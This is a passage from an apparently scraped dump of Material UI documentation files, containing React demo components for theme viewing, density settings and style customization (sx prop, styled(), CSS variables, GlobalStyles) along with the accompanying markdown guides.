acc;\n        }, []),\n    );\n  }, []);\n\n  const data = React.useMemo(() => {\n    const themeData = createTheme({\n      palette: { mode: darkTheme ? 'dark' : 'light' },\n    });\n\n    const {\n      unstable_sxConfig: unstableSxConfig,\n      unstable_sx: unstableSx,\n      ...rest\n    } = themeData;\n\n    return rest;\n  }, [darkTheme]);\n\n  const allNodeIds = useItemIdsLazy(data);\n  React.useDebugValue(allNodeIds);\n\n  const currentExpandPaths = React.useMemo(() => {\n    if (expandPaths !== null) {\n      return expandPaths;\n    }\n    return checked ? allNodeIds : [];\n  }, [checked, allNodeIds, expandPaths]);\n\n  const collapsedThemeViewer = React.useMemo(\n    () => <ThemeViewer data={data} expandPaths={[]} />,\n    [data],\n  );\n\n  const expandedThemeViewer = React.useMemo(\n    () => <ThemeViewer data={data} expandPaths={allNodeIds} />,\n    [data, allNodeIds],\n  );\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box sx={{ display: 'flex', gap: 2, mb: 3 }}>\n        <FormControlLabel\n          label={t('expandAll')}\n          sx={{\n            m: 0,\n            flexDirection: 'row-reverse',\n            gap: 1,\n            '& .MuiFormControlLabel-label': {\n              fontFamily: 'IBM Plex Sans',\n              color: 'text.secondary',\n            },\n          }}\n          control={\n            <StyledSwitch\n              size=\"small\"\n              checked={checked}\n              onChange={(event) => {\n                setChecked(event.target.checked);\n              }}\n            />\n          }\n        />\n        <Divider orientation=\"vertical\" flexItem />\n        <FormControlLabel\n          label={t('useDarkTheme')}\n          sx={{\n            m: 0,\n            flexDirection: 'row-reverse',\n            gap: 1,\n            '& .MuiFormControlLabel-label': {\n              fontFamily: 'IBM Plex Sans',\n              color: 'text.secondary',\n            },\n          }}\n          control={\n            <StyledSwitch\n              size=\"small\"\n              checked={darkTheme}\n              onChange={(event) => {\n                setDarkTheme(event.target.checked);\n              }}\n            />\n          }\n        />\n      </Box>\n      {expandPaths !== null ? (\n        <ThemeViewer data={data} expandPaths={currentExpandPaths} />\n      ) : (\n        <React.Fragment>\n          <Box sx={{ display: checked ? 'none' : 'block' }}>\n            {collapsedThemeViewer}\n          </Box>\n          <Box sx={{ display: checked ? 'block' : 'none' }}>\n            {expandedThemeViewer}\n          </Box>\n        </React.Fragment>\n      )}\n    </Box>\n  );\n}\n\nexport default DefaultTheme;\n"
  },
  {
    "path": "docs/data/material/customization/default-theme/default-theme.md",
    "content": "# Default theme viewer\n\n<p class=\"description\">This tree view allows you to explore how the theme object looks like with the default values.</p>\n\nIf you want to learn more about how the theme is assembled, take a look at [`material-ui/style/createTheme.ts`](https://github.com/mui/material-ui/blob/-/packages/mui-material/src/styles/createTheme.ts),\nand the related imports which `createTheme()` uses.\n\nYou can play with the documentation theme object in your browser console,\nas the `theme` variable is exposed on all the documentation pages.\n\n:::warning\nPlease note that **the documentation site is using a custom theme** (the MUI's organization branding).\n:::\n\n<hr/>\n\n{{\"demo\": \"DefaultTheme.js\", \"hideToolbar\": true, \"bg\": \"inline\"}}\n"
  },
  {
    "path": "docs/data/material/customization/density/DensityTool.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Input from '@mui/material/Input';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport IncreaseIcon from '@mui/icons-material/AddCircleOutline';\nimport DecreaseIcon from '@mui/icons-material/RemoveCircleOutline';\nimport { DispatchContext, ThemeOptionsContext } from '@mui/docs/ThemeContext';\nimport { useTranslate } from '@mui/docs/i18n';\nimport { setDocsSpacing, resetDocsSpacing } from '@mui/docs/branding';\n\nconst minSpacing = 0;\nconst maxSpacing = 20;\n\nexport default function DensityTool() {\n  const [spacingUnit, setSpacingUnit] = React.useState(8);\n  const dispatch = React.useContext(DispatchContext);\n  const themeOptions = React.useContext(ThemeOptionsContext);\n  const handleDensityChange = (event) => {\n    dispatch({\n      type: 'SET_DENSE',\n      payload: event.target.checked,\n    });\n  };\n\n  const handleSpacingChange = (event, value) => {\n    let spacing = value || +event.target.value;\n\n    //  If the entered value is greater than maxSpacing, setting up maxSpacing as value\n    if (spacing > maxSpacing) {\n      spacing = maxSpacing;\n    }\n    //  If the entered value is less than minSpacing, setting up minSpacing as value\n    if (spacing < minSpacing) {\n      spacing = minSpacing;\n    }\n\n    setSpacingUnit(spacing);\n    setDocsSpacing(spacing);\n  };\n\n  const resetDensity = () => {\n    setSpacingUnit(8);\n    resetDocsSpacing();\n    dispatch({ type: 'RESET_DENSITY' });\n  };\n\n  const t = useTranslate();\n\n  return (\n    <Box\n      sx={{\n        width: '100%',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'flex-start',\n        gap: 2,\n      }}\n    >\n      <FormControlLabel\n        control={\n          <Switch\n            checked={themeOptions.dense}\n            onChange={handleDensityChange}\n            value=\"dense\"\n            color=\"secondary\"\n          />\n        }\n        label={t('useHighDensity')}\n      />\n      <Box sx={{ display: 'flex', alignItems: 'center', gap: 2 }}>\n        <Typography id=\"input-slider\" gutterBottom>\n          {t('spacingUnit')}\n        </Typography>\n        <Box sx={{ display: 'flex', alignItems: 'center' }}>\n          <IconButton\n            aria-label={t('decreaseSpacing')}\n            onClick={() => {\n              setSpacingUnit(spacingUnit - 1);\n              setDocsSpacing(spacingUnit - 1);\n            }}\n            disabled={spacingUnit === minSpacing}\n          >\n            <DecreaseIcon />\n          </IconButton>\n          <Input\n            value={spacingUnit}\n            margin=\"dense\"\n            onChange={handleSpacingChange}\n            inputProps={{\n              step: 1,\n              min: minSpacing,\n              max: maxSpacing,\n              type: 'number',\n              'aria-labelledby': 'input-slider',\n            }}\n          />\n          <IconButton\n            aria-label={t('increaseSpacing')}\n            onClick={() => {\n              setSpacingUnit(spacingUnit + 1);\n              setDocsSpacing(spacingUnit + 1);\n            }}\n            disabled={spacingUnit === maxSpacing}\n          >\n            <IncreaseIcon />\n          </IconButton>\n        </Box>\n      </Box>\n      <Button variant=\"contained\" onClick={resetDensity}>\n        {t('resetDensity')}\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/density/density.md",
    "content": "# Density\n\n<p class=\"description\">How to apply density to Material UI components.</p>\n\n## Applying density\n\nThis section explains how to apply density.\nIt doesn't cover potential use cases, or considerations for using density in your application.\nThe Material Design guidelines have a [comprehensive guide](https://m2.material.io/design/layout/applying-density.html) covering these topics in more detail.\n\n## Implementing density\n\nHigher density can be applied to some components via props. The component pages\nhave at least one example using the respective component with higher density applied.\n\nDepending on the component, density is applied either via lower spacing, or simply by\nreducing the size.\n\nThe following components have props applying higher density:\n\n- [Button](/material-ui/api/button/)\n- [Fab](/material-ui/api/fab/)\n- [FilledInput](/material-ui/api/filled-input/)\n- [FormControl](/material-ui/api/form-control/)\n- [FormHelperText](/material-ui/api/form-helper-text/)\n- [IconButton](/material-ui/api/icon-button/)\n- [InputBase](/material-ui/api/input-base/)\n- [InputLabel](/material-ui/api/input-label/)\n- [ListItem](/material-ui/api/list-item/)\n- [OutlinedInput](/material-ui/api/outlined-input/)\n- [Table](/material-ui/api/table/)\n- [TextField](/material-ui/api/text-field/)\n- [Toolbar](/material-ui/api/toolbar/)\n\n## Explore theme density\n\nThis tool allows you to apply density via spacing and component props. You can browse\naround and see how this applies to the overall feel of Material UI components.\n\nIf you enable high density a custom theme is applied to the docs. This theme is only\nfor demonstration purposes. You _should not_ apply this theme to your whole application\nas this might negatively impact user experience. The [Material Design guidelines](https://m2.material.io/design/layout/applying-density.html) has examples\nfor when not to apply density.\n\nThe theme is configured with the following options:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiFilledInput: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiFormControl: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiFormHelperText: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiIconButton: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiInputBase: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiInputLabel: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiListItem: {\n      defaultProps: {\n        dense: true,\n      },\n    },\n    MuiOutlinedInput: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiFab: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiTable: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiTextField: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiToolbar: {\n      defaultProps: {\n        variant: 'dense',\n      },\n    },\n  },\n});\n```\n\n{{\"demo\": \"DensityTool.js\", \"hideToolbar\": true}}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DevTools.js",
    "content": "import Slider from '@mui/material/Slider';\n\nexport default function DevTools() {\n  return (\n    <Slider\n      defaultValue={30}\n      sx={{\n        width: 300,\n        color: 'success.main',\n        '& .MuiSlider-thumb': {\n          borderRadius: '1px',\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DevTools.tsx",
    "content": "import Slider from '@mui/material/Slider';\n\nexport default function DevTools() {\n  return (\n    <Slider\n      defaultValue={30}\n      sx={{\n        width: 300,\n        color: 'success.main',\n        '& .MuiSlider-thumb': {\n          borderRadius: '1px',\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DevTools.tsx.preview",
    "content": "<Slider\n  defaultValue={30}\n  sx={{\n    width: 300,\n    color: 'success.main',\n    '& .MuiSlider-thumb': {\n      borderRadius: '1px',\n    },\n  }}\n/>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DynamicCSS.js",
    "content": "import * as React from 'react';\nimport { alpha, styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nconst StyledSlider = styled(Slider, {\n  shouldForwardProp: (prop) => prop !== 'success',\n})(({ theme }) => ({\n  width: 300,\n  variants: [\n    {\n      props: ({ success }) => success,\n      style: {\n        color: theme.palette.success.main,\n        '& .MuiSlider-thumb': {\n          [`&:hover, &.Mui-focusVisible`]: {\n            boxShadow: `0px 0px 0px 8px ${alpha(theme.palette.success.main, 0.16)}`,\n          },\n          [`&.Mui-active`]: {\n            boxShadow: `0px 0px 0px 14px ${alpha(theme.palette.success.main, 0.16)}`,\n          },\n        },\n      },\n    },\n  ],\n}));\n\nexport default function DynamicCSS() {\n  const [success, setSuccess] = React.useState(false);\n\n  const handleChange = (event) => {\n    setSuccess(event.target.checked);\n  };\n\n  return (\n    <React.Fragment>\n      <FormControlLabel\n        control={\n          <Switch\n            checked={success}\n            onChange={handleChange}\n            color=\"primary\"\n            value=\"dynamic-class-name\"\n          />\n        }\n        label=\"Success\"\n      />\n      <StyledSlider success={success} defaultValue={30} sx={{ mt: 1 }} />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DynamicCSS.tsx",
    "content": "import * as React from 'react';\nimport { alpha, styled } from '@mui/material/styles';\nimport Slider, { SliderProps } from '@mui/material/Slider';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\ninterface StyledSliderProps extends SliderProps {\n  success?: boolean;\n}\n\nconst StyledSlider = styled(Slider, {\n  shouldForwardProp: (prop) => prop !== 'success',\n})<StyledSliderProps>(({ theme }) => ({\n  width: 300,\n  variants: [\n    {\n      props: ({ success }) => success,\n      style: {\n        color: theme.palette.success.main,\n        '& .MuiSlider-thumb': {\n          [`&:hover, &.Mui-focusVisible`]: {\n            boxShadow: `0px 0px 0px 8px ${alpha(theme.palette.success.main, 0.16)}`,\n          },\n          [`&.Mui-active`]: {\n            boxShadow: `0px 0px 0px 14px ${alpha(theme.palette.success.main, 0.16)}`,\n          },\n        },\n      },\n    },\n  ],\n}));\n\nexport default function DynamicCSS() {\n  const [success, setSuccess] = React.useState(false);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setSuccess(event.target.checked);\n  };\n\n  return (\n    <React.Fragment>\n      <FormControlLabel\n        control={\n          <Switch\n            checked={success}\n            onChange={handleChange}\n            color=\"primary\"\n            value=\"dynamic-class-name\"\n          />\n        }\n        label=\"Success\"\n      />\n      <StyledSlider success={success} defaultValue={30} sx={{ mt: 1 }} />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DynamicCSS.tsx.preview",
    "content": "<React.Fragment>\n  <FormControlLabel\n    control={\n      <Switch\n        checked={success}\n        onChange={handleChange}\n        color=\"primary\"\n        value=\"dynamic-class-name\"\n      />\n    }\n    label=\"Success\"\n  />\n  <StyledSlider success={success} defaultValue={30} sx={{ mt: 1 }} />\n</React.Fragment>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DynamicCSSVariables.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nconst CustomSlider = styled(Slider)({\n  width: 300,\n  color: 'var(--color)',\n  '& .MuiSlider-thumb': {\n    [`&:hover, &.Mui-focusVisible`]: {\n      boxShadow: '0px 0px 0px 8px var(--box-shadow)',\n    },\n    [`&.Mui-active`]: {\n      boxShadow: '0px 0px 0px 14px var(--box-shadow)',\n    },\n  },\n});\n\nconst successVars = {\n  '--color': '#4caf50',\n  '--box-shadow': 'rgb(76, 175, 80, .16)',\n};\n\nconst defaultVars = {\n  '--color': '#1976d2',\n  '--box-shadow': 'rgb(25, 118, 210, .16)',\n};\n\nexport default function DynamicCSSVariables() {\n  const [vars, setVars] = React.useState(defaultVars);\n\n  const handleChange = (event) => {\n    setVars(event.target.checked ? successVars : defaultVars);\n  };\n\n  return (\n    <React.Fragment>\n      <FormControlLabel\n        control={\n          <Switch\n            checked={vars === successVars}\n            onChange={handleChange}\n            color=\"primary\"\n            value=\"dynamic-class-name\"\n          />\n        }\n        label=\"Success\"\n      />\n      <CustomSlider style={vars} defaultValue={30} sx={{ mt: 1 }} />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DynamicCSSVariables.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nconst CustomSlider = styled(Slider)({\n  width: 300,\n  color: 'var(--color)',\n  '& .MuiSlider-thumb': {\n    [`&:hover, &.Mui-focusVisible`]: {\n      boxShadow: '0px 0px 0px 8px var(--box-shadow)',\n    },\n    [`&.Mui-active`]: {\n      boxShadow: '0px 0px 0px 14px var(--box-shadow)',\n    },\n  },\n});\n\nconst successVars = {\n  '--color': '#4caf50',\n  '--box-shadow': 'rgb(76, 175, 80, .16)',\n} as React.CSSProperties;\n\nconst defaultVars = {\n  '--color': '#1976d2',\n  '--box-shadow': 'rgb(25, 118, 210, .16)',\n} as React.CSSProperties;\n\nexport default function DynamicCSSVariables() {\n  const [vars, setVars] = React.useState<React.CSSProperties>(defaultVars);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setVars(event.target.checked ? successVars : defaultVars);\n  };\n\n  return (\n    <React.Fragment>\n      <FormControlLabel\n        control={\n          <Switch\n            checked={vars === successVars}\n            onChange={handleChange}\n            color=\"primary\"\n            value=\"dynamic-class-name\"\n          />\n        }\n        label=\"Success\"\n      />\n      <CustomSlider style={vars} defaultValue={30} sx={{ mt: 1 }} />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/DynamicCSSVariables.tsx.preview",
    "content": "<React.Fragment>\n  <FormControlLabel\n    control={\n      <Switch\n        checked={vars === successVars}\n        onChange={handleChange}\n        color=\"primary\"\n        value=\"dynamic-class-name\"\n      />\n    }\n    label=\"Success\"\n  />\n  <CustomSlider style={vars} defaultValue={30} sx={{ mt: 1 }} />\n</React.Fragment>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/GlobalCssOverride.js",
    "content": "import * as React from 'react';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function GlobalCssOverride() {\n  return (\n    <React.Fragment>\n      <GlobalStyles styles={{ h1: { color: 'grey' } }} />\n      <h1>Grey h1 element</h1>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/GlobalCssOverride.tsx",
    "content": "import * as React from 'react';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function GlobalCssOverride() {\n  return (\n    <React.Fragment>\n      <GlobalStyles styles={{ h1: { color: 'grey' } }} />\n      <h1>Grey h1 element</h1>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/GlobalCssOverride.tsx.preview",
    "content": "<React.Fragment>\n  <GlobalStyles styles={{ h1: { color: 'grey' } }} />\n  <h1>Grey h1 element</h1>\n</React.Fragment>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/GlobalCssOverrideTheme.js",
    "content": "import * as React from 'react';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function GlobalCssOverrideTheme() {\n  return (\n    <React.Fragment>\n      <GlobalStyles\n        styles={(theme) => ({\n          h1: { color: theme.palette.primary.main },\n        })}\n      />\n      <h1>Grey h1 element</h1>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/GlobalCssOverrideTheme.tsx",
    "content": "import * as React from 'react';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function GlobalCssOverrideTheme() {\n  return (\n    <React.Fragment>\n      <GlobalStyles\n        styles={(theme) => ({\n          h1: { color: theme.palette.primary.main },\n        })}\n      />\n      <h1>Grey h1 element</h1>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/GlobalCssOverrideTheme.tsx.preview",
    "content": "<React.Fragment>\n  <GlobalStyles\n    styles={(theme) => ({\n      h1: { color: theme.palette.primary.main },\n    })}\n  />\n  <h1>Grey h1 element</h1>\n</React.Fragment>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/OverrideCallbackCssBaseline.js",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    success: {\n      main: '#ff0000',\n    },\n  },\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: (themeParam) => `\n        h1 {\n          color: ${themeParam.palette.success.main};\n        }\n      `,\n    },\n  },\n});\n\nexport default function OverrideCallbackCssBaseline() {\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      <h1>h1 element</h1>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/OverrideCallbackCssBaseline.tsx",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    success: {\n      main: '#ff0000',\n    },\n  },\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: (themeParam) => `\n        h1 {\n          color: ${themeParam.palette.success.main};\n        }\n      `,\n    },\n  },\n});\n\nexport default function OverrideCallbackCssBaseline() {\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      <h1>h1 element</h1>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/OverrideCallbackCssBaseline.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <CssBaseline />\n  <h1>h1 element</h1>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/OverrideCssBaseline.js",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: `\n        h1 {\n          color: grey;\n        }\n      `,\n    },\n  },\n});\n\nexport default function OverrideCssBaseline() {\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      <h1>Grey h1 element</h1>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/OverrideCssBaseline.tsx",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: `\n        h1 {\n          color: grey;\n        }\n      `,\n    },\n  },\n});\n\nexport default function OverrideCssBaseline() {\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      <h1>Grey h1 element</h1>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/OverrideCssBaseline.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <CssBaseline />\n  <h1>Grey h1 element</h1>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/StyledCustomization.js",
    "content": "import Slider from '@mui/material/Slider';\nimport { alpha, styled } from '@mui/material/styles';\n\nconst SuccessSlider = styled(Slider)(({ theme }) => ({\n  width: 300,\n  color: theme.palette.success.main,\n  '& .MuiSlider-thumb': {\n    '&:hover, &.Mui-focusVisible': {\n      boxShadow: `0px 0px 0px 8px ${alpha(theme.palette.success.main, 0.16)}`,\n    },\n    '&.Mui-active': {\n      boxShadow: `0px 0px 0px 14px ${alpha(theme.palette.success.main, 0.16)}`,\n    },\n  },\n}));\n\nexport default function StyledCustomization() {\n  return <SuccessSlider defaultValue={30} />;\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/StyledCustomization.tsx",
    "content": "import Slider, { SliderProps } from '@mui/material/Slider';\nimport { alpha, styled } from '@mui/material/styles';\n\nconst SuccessSlider = styled(Slider)<SliderProps>(({ theme }) => ({\n  width: 300,\n  color: theme.palette.success.main,\n  '& .MuiSlider-thumb': {\n    '&:hover, &.Mui-focusVisible': {\n      boxShadow: `0px 0px 0px 8px ${alpha(theme.palette.success.main, 0.16)}`,\n    },\n    '&.Mui-active': {\n      boxShadow: `0px 0px 0px 14px ${alpha(theme.palette.success.main, 0.16)}`,\n    },\n  },\n}));\n\nexport default function StyledCustomization() {\n  return <SuccessSlider defaultValue={30} />;\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/StyledCustomization.tsx.preview",
    "content": "<SuccessSlider defaultValue={30} />"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/SxProp.js",
    "content": "import Slider from '@mui/material/Slider';\n\nexport default function SxProp() {\n  return <Slider defaultValue={30} sx={{ width: 300, color: 'success.main' }} />;\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/SxProp.tsx",
    "content": "import Slider from '@mui/material/Slider';\n\nexport default function SxProp() {\n  return <Slider defaultValue={30} sx={{ width: 300, color: 'success.main' }} />;\n}\n"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/SxProp.tsx.preview",
    "content": "<Slider defaultValue={30} sx={{ width: 300, color: 'success.main' }} />"
  },
  {
    "path": "docs/data/material/customization/how-to-customize/how-to-customize.md",
    "content": "---\nproductId: material-ui\ncomponents: GlobalStyles\n---\n\n# How to customize\n\n<p class=\"description\">Learn how to customize Material UI components by taking advantage of different strategies for specific use cases.</p>\n\nMaterial UI provides several different ways to customize a component's styles. Your specific context will determine which one is ideal. From narrowest to broadest use case, here are the options:\n\n1. [One-off customization](#1-one-off-customization)\n1. [Reusable component](#2-reusable-component)\n1. [Global theme overrides](#3-global-theme-overrides)\n1. [Global CSS override](#4-global-css-override)\n\n## 1. One-off customization\n\nTo change the styles of _one single instance_ of a component, you can use one of the following options:\n\n### The `sx` prop\n\nThe [`sx` prop](/system/getting-started/the-sx-prop/) is the best option for adding style overrides to a single instance of a component in most cases.\nIt can be used with all Material UI components.\n\n{{\"demo\": \"SxProp.js\"}}\n\n### Overriding nested component styles\n\nTo customize a specific part of a component, you can use the class name provided by Material UI inside the `sx` prop. As an example, let's say you want to change the `Slider` component's thumb from a circle to a square.\n\nFirst, use your browser's dev tools to identify the class for the component slot you want to override.\n\nThe styles injected into the DOM by Material UI rely on class names that all [follow a standard pattern](https://v6.mui.com/system/styles/advanced/#class-names):\n`[hash]-Mui[Component name]-[name of the slot]`.\n\nIn this case, the styles are applied with `.css-ae2u5c-MuiSlider-thumb` but you only really need to target the `.MuiSlider-thumb`, where `Slider` is the component and `thumb` is the slot. Use this class name to write a CSS selector within the `sx` prop (`& .MuiSlider-thumb`), and add your overrides.\n\n<img src=\"/static/images/customization/dev-tools.png\" alt=\"dev-tools\" style=\"margin-bottom: 16px;\" width=\"2400\" height=\"800\" />\n\n{{\"demo\": \"DevTools.js\"}}\n\n:::warning\nThese class names can't be used as CSS selectors because they are unstable.\n:::\n\n### Overriding styles with class names\n\nIf you want to override a component's styles using custom classes, you can use the `className` prop, available on each component.\nTo override the styles of a specific part of the component, use the global classes provided by Material UI, as described in the previous section **\"Overriding nested component styles\"** under the [`sx` prop section](#the-sx-prop).\n\nVisit the [Style library interoperability](/material-ui/integrations/interoperability/) guide to find examples of this approach using different styling libraries.\n\n### State classes\n\nStates like _hover_, _focus_, _disabled_ and _selected_, are styled with a higher CSS specificity. To customize them, you'll need to **increase specificity**.\n\nHere is an example with the _disabled_ state and the `Button` component using a pseudo-class (`:disabled`):\n\n```css\n.Button {\n  color: black;\n}\n\n/* Increase the specificity */\n.Button:disabled {\n  color: white;\n}\n```\n\n```jsx\n<Button disabled className=\"Button\">\n```\n\nYou can't always use a CSS pseudo-class, as the state doesn't exist in the web specification.\nLet's take the `MenuItem` component and its _selected_ state as an example.\nIn this situation, you can use Material UI's **state classes**, which act just like CSS pseudo-classes.\nTarget the `.Mui-selected` global class name to customize the special state of the `MenuItem` component:\n\n```css\n.MenuItem {\n  color: black;\n}\n\n/* Increase the specificity */\n.MenuItem.Mui-selected {\n  color: blue;\n}\n```\n\n```jsx\n<MenuItem selected className=\"MenuItem\">\n```\n\nIf you'd like to learn more about this topic, we recommend checking out [the MDN Web Docs on CSS Specificity](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Cascade/Specificity).\n\n#### Why do I need to increase specificity to override one component state?\n\nCSS pseudo-classes have a high level of specificity.\nFor consistency with native elements, Material UI's state classes have the same level of specificity as CSS pseudo-classes, making it possible to target an individual component's state.\n\n#### What custom state classes are available in Material UI?\n\nYou can rely on the following [global class names](https://v6.mui.com/system/styles/advanced/#class-names) generated by Material UI:\n\n| State         | Global class name   |\n| :------------ | :------------------ |\n| active        | `.Mui-active`       |\n| checked       | `.Mui-checked`      |\n| completed     | `.Mui-completed`    |\n| disabled      | `.Mui-disabled`     |\n| error         | `.Mui-error`        |\n| expanded      | `.Mui-expanded`     |\n| focus visible | `.Mui-focusVisible` |\n| focused       | `.Mui-focused`      |\n| readOnly      | `.Mui-readOnly`     |\n| required      | `.Mui-required`     |\n| selected      | `.Mui-selected`     |\n\n:::error\nNever apply styles directly to state class names. This will impact all components with unclear side-effects. Always target a state class together with a component.\n:::\n\n```css\n/* ❌ NOT OK */\n.Mui-error {\n  color: red;\n}\n\n/* ✅ OK */\n.MuiOutlinedInput-root.Mui-error {\n  color: red;\n}\n```\n\n## 2. Reusable component\n\nTo reuse the same overrides in different locations across your application, create a reusable component using the [`styled()`](/system/styled/) utility:\n\n{{\"demo\": \"StyledCustomization.js\", \"defaultCodeOpen\": true}}\n\n### Dynamic overrides\n\nThe `styled()` utility lets you add dynamic styles based on a component's props.\nYou can do this with **dynamic CSS** or **CSS variables**.\n\n#### Dynamic CSS\n\n:::warning\nIf you are using TypeScript, you will need to update the prop's types of the new component.\n:::\n\n{{\"demo\": \"DynamicCSS.js\", \"defaultCodeOpen\": false}}\n\n```tsx\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Slider, { SliderProps } from '@mui/material/Slider';\n\ninterface StyledSliderProps extends SliderProps {\n  success?: boolean;\n}\n\nconst StyledSlider = styled(Slider, {\n  shouldForwardProp: (prop) => prop !== 'success',\n})<StyledSliderProps>(({ success, theme }) => ({\n  ...(success &&\n    {\n      // the overrides added when the new prop is used\n    }),\n}));\n```\n\n#### CSS variables\n\n{{\"demo\": \"DynamicCSSVariables.js\"}}\n\n## 3. Global theme overrides\n\nMaterial UI provides theme tools for managing style consistency between all components across your user interface.\nVisit the [Component theming customization](/material-ui/customization/theme-components/) page for more details.\n\n## 4. Global CSS override\n\nTo add global baseline styles for some of the HTML elements, use the `GlobalStyles` component.\nHere is an example of how you can override styles for the `h1` elements:\n\n{{\"demo\": \"GlobalCssOverride.js\", \"iframe\": true, \"height\": 100}}\n\nThe `styles` prop in the `GlobalStyles` component supports a callback in case you need to access the theme.\n\n{{\"demo\": \"GlobalCssOverrideTheme.js\", \"iframe\": true, \"height\": 100}}\n\nIf you are already using the [CssBaseline](/material-ui/react-css-baseline/) component for setting baseline styles, you can also add these global styles as overrides for this component. Here is how you can achieve the same by using this approach.\n\n{{\"demo\": \"OverrideCssBaseline.js\", \"iframe\": true, \"height\": 100}}\n\nThe `styleOverrides` key in the `MuiCssBaseline` component slot also supports callback from which you can access the theme. Here is how you can achieve the same by using this approach.\n\n{{\"demo\": \"OverrideCallbackCssBaseline.js\", \"iframe\": true, \"height\": 100}}\n\n:::success\nIt is a good practice to hoist the `<GlobalStyles />` to a static 